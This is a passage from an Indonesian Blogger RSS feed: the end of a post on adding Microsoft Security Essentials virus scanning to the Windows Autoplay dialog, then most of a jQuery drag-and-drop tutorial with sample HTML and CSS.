&lt;span style="color: black;"&gt;&lt;span style="color: #0c343d;"&gt;&lt;span style="color: black;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4.&amp;nbsp;&amp;nbsp; Kemudian, klik 2 kali pada file &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;mseautoplay.reg.&lt;span style="color: black;"&gt; Jika muncul pesan dialog peringatan, klik yes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span style="color: red;"&gt;&lt;span style="color: black;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 5.&amp;nbsp;&amp;nbsp; Klik Ok ketika muncul&amp;nbsp; dialog konfirmasi berikutnya.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOWXFQFcQI/AAAAAAAAAeI/qntdSKULXFs/s1600/mseautoplay.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="132" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOWXFQFcQI/AAAAAAAAAeI/qntdSKULXFs/s400/mseautoplay.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span style="color: red;"&gt;mseautoplay.reg&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="100" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOWk5BCuwI/AAAAAAAAAeQ/3ugae_-ZL-E/s400/suskes.jpg" style="margin-left: auto; margin-right: auto;" width="400" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;proses telah selesai dan berhasil &lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TJOWk5BCuwI/AAAAAAAAAeQ/3ugae_-ZL-E/s1600/suskes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;span style="color: red;"&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #0c343d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;6. Nah sekarang anda bisa melakukan scan virus dengan MSE terhadap USB Flash disk, CD atau DVD melalui kotak dialog Autoplay&lt;/span&gt; &lt;span style="color: black;"&gt;yang&amp;nbsp; muncul saat Anda menancapkan atau memasukkan media tersebut melalui komputer. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TJYCFiAQ1mI/AAAAAAAAAfg/_TFLuCtv2NI/s1600/ok.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="230" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TJYCFiAQ1mI/AAAAAAAAAfg/_TFLuCtv2NI/s320/ok.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;inilah hasil akhirnya, dengan ini penyebaran virus dapat diminimalisir&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-6316759629022325464?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/8DjJdLcIBfg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/8DjJdLcIBfg/bersihkan-virus-melalui-kotak-dialog.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/TJODquVupAI/AAAAAAAAAdY/C6EV5X6NgBg/s72-c/microsoft-security-essentials.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/09/bersihkan-virus-melalui-kotak-dialog.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-642290950669352041</guid><pubDate>Fri, 17 Sep 2010 04:20:00 +0000</pubDate><atom:updated>2010-09-19T11:35:15.381-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">JQuery</category><category domain="http://www.blogger.com/atom/ns#">Pemprograman</category><title>Drag and Drop Menggunakan jQuery</title><description>&lt;div style="text-align: justify"&gt;&lt;b style="font-family: arial,helvetica,sans-serif"&gt;Drag and Drop Menggunakan jQuery&lt;/b&gt;&lt;/div&gt;  &lt;div style="text-align: justify; clear: both" class="separator"&gt;&lt;a style="margin-left: 1em; margin-right: 1em" href="http://1.bp.blogspot.com/_xxdfU1yNW68/TJLjT8bFj_I/AAAAAAAAAdQ/XQ3re5Q3Sxo/s1600/jquery-logo.gif" imageanchor="1"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_xxdfU1yNW68/TJLjT8bFj_I/AAAAAAAAAdQ/XQ3re5Q3Sxo/s200/jquery-logo.gif" width="200" height="173" /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;Dengan memasang Drag and Drop pada website, dapat membantu user/pengunjung untuk mengatur halaman website sesuai dengan keinginannya. &lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;Jenis fungsionalitas sering disediakan oleh portal web atau homepage pribadi seperti layanan iGoogle.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;coba perhatikan contoh dibawah ini&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;table style="text-align: center; margin-left: auto; margin-right: auto" class="tr-caption-container" cellspacing="0" cellpadding="0"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td style="text-align: center"&gt;&lt;img style="margin-left: auto; margin-right: auto" border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TJLjErTIddI/AAAAAAAAAdI/CNt-kat4ZIo/s400/igoogle.jpg" width="400" height="225" /&gt;&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td style="text-align: center" class="tr-caption"&gt;implementasi drag and drop pada igoogle.&lt;/td&gt;        &lt;td style="text-align: center" class="tr-caption"&gt;         &lt;br /&gt;&lt;/td&gt;        &lt;td style="text-align: center" class="tr-caption"&gt;         &lt;br /&gt;&lt;/td&gt;        &lt;td style="text-align: center" class="tr-caption"&gt;         &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;div style="text-align: justify; clear: both" class="separator"&gt;&lt;a style="margin-left: 1em; margin-right: 1em" href="http://3.bp.blogspot.com/_xxdfU1yNW68/TJLjErTIddI/AAAAAAAAAdI/CNt-kat4ZIo/s1600/igoogle.jpg" imageanchor="1"&gt;&lt;/a&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt; Hari ini, perkenankanlah saya menunjukkan kepa anda bagaimana membuat drag and drop menggunakan Jquery, untuk contoh, dapat anda lihat di sini &lt;a href="http://kui.my-php.net/drag/"&gt;http://kui.my-php.net/drag/.&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;   &lt;br /&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;b&gt;&lt;span style="font-size: large"&gt;Mempersiapakan&amp;#160; Libraries &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;   &lt;br /&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;span style="font-size: small"&gt;Disini saya menggunakan perpustakaan JQuery dan JQuery UI, &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span style="background-color: white" title=""&gt;ambil versi terbaru dari kedua dan menambahkannya ke header halaman Anda.&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;       &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;span style="font-size: large"&gt;&lt;b&gt;Struktur HTML&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;       &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;&lt;span style="font-size: small"&gt;saya menggunakan 2 kolom vertikal yang didevenisikan &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;div dengan &amp;quot;kolom&amp;quot; class = dalam contoh ini yang akan terus panel kita&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;. &lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="class"&gt;&lt;span title=""&gt;Berikut struktur HTML lengkap untuk contoh kita, saya akan menggunakan 5 panel dalam dua kolom.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;column&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;column1&lt;/span&gt;&amp;quot;&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;item1&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;h2&amp;gt;Handle 1&amp;lt;/h2&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox-content&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;             &amp;lt;!-- Masukkan Kontent disini --&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;    &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;item2&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;h2&amp;gt;&amp;lt;span &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;configure&lt;/span&gt;&amp;quot; &amp;gt;&amp;lt;a href=&amp;quot;&lt;span style="color: #8b0000"&gt;#&lt;/span&gt;&amp;quot; &amp;gt;Configure&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;Handle 2&amp;lt;/h2&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox-content&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;            &amp;lt;!--Masukkan Kontent disini --&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;    &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;item3&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;h2&amp;gt;Handle 3&amp;lt;/h2&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox-content&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;             &amp;lt;!-- Masukkan Kontent disini --&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;    &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;column&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;column2&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;item4&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;h2&amp;gt;Handle 4&amp;lt;/h2&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox-content&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;            &amp;lt;!-- Masukkan Kontent disini--&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox&lt;/span&gt;&amp;quot; id=&amp;quot;&lt;span style="color: #8b0000"&gt;item5&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;h2&amp;gt;Handle 5&amp;lt;/h2&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;        &amp;lt;div &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;dragbox-content&lt;/span&gt;&amp;quot; &amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;             &amp;lt;!--masukkan kontent disini--&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;         &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     &amp;lt;/div&amp;gt;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt; &amp;lt;/div&amp;gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif"&gt;&lt;span style="font-size: large"&gt;CSS Styles&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 style="text-align: justify; font-family: times,&amp;quot;Times New Roman&amp;quot;,serif; font-weight: normal"&gt;&lt;span style="font-size: small"&gt;&lt;span id="result_box" class="class"&gt;&lt;span style="background-color: white" title=""&gt;Berikut adalah&amp;#160; kode CSS, Anda dapat memodifikasi sebagai keinginan anda, tetapi ingat untuk menyesuaikan lebar. Kolom dalam kasus Anda meningkatkan jumlah kolom.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;column&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;width&lt;/span&gt;:&lt;span style="color: #800000"&gt;49&lt;/span&gt;%;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;margin-right&lt;/span&gt;:.&lt;span style="color: #800000"&gt;5&lt;/span&gt;%;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;min-height&lt;/span&gt;:&lt;span style="color: #800000"&gt;300px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;background&lt;/span&gt;:&lt;span style="color: #800000"&gt;#fff&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;float&lt;/span&gt;:&lt;span style="color: #800000"&gt;left&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;column&lt;/span&gt; .&lt;span style="color: #800000"&gt;dragbox&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;margin&lt;/span&gt;:&lt;span style="color: #800000"&gt;5px&lt;/span&gt; &lt;span style="color: #800000"&gt;2px&lt;/span&gt;  &lt;span style="color: #800000"&gt;20px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;background&lt;/span&gt;:&lt;span style="color: #800000"&gt;#fff&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;position&lt;/span&gt;:&lt;span style="color: #800000"&gt;relative&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;border&lt;/span&gt;:&lt;span style="color: #800000"&gt;1px&lt;/span&gt; &lt;span style="color: #800000"&gt;solid&lt;/span&gt; &lt;span style="color: #800000"&gt;#ddd&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;-moz-border-radius&lt;/span&gt;:&lt;span style="color: #800000"&gt;5px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;-webkit-border-radius&lt;/span&gt;:&lt;span style="color: #800000"&gt;5px&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;.&lt;span style="color: #800000"&gt;column&lt;/span&gt; .&lt;span style="color: #800000"&gt;dragbox&lt;/span&gt; &lt;span style="color: #800000"&gt;h2&lt;/span&gt;{  &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #ffffff; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #800000"&gt;margin&lt;/span&gt;:&lt;span style="color: #800000"&gt;0&lt;/span&gt;;  &lt;br /&gt;&lt;/pre&gt;&lt;pre 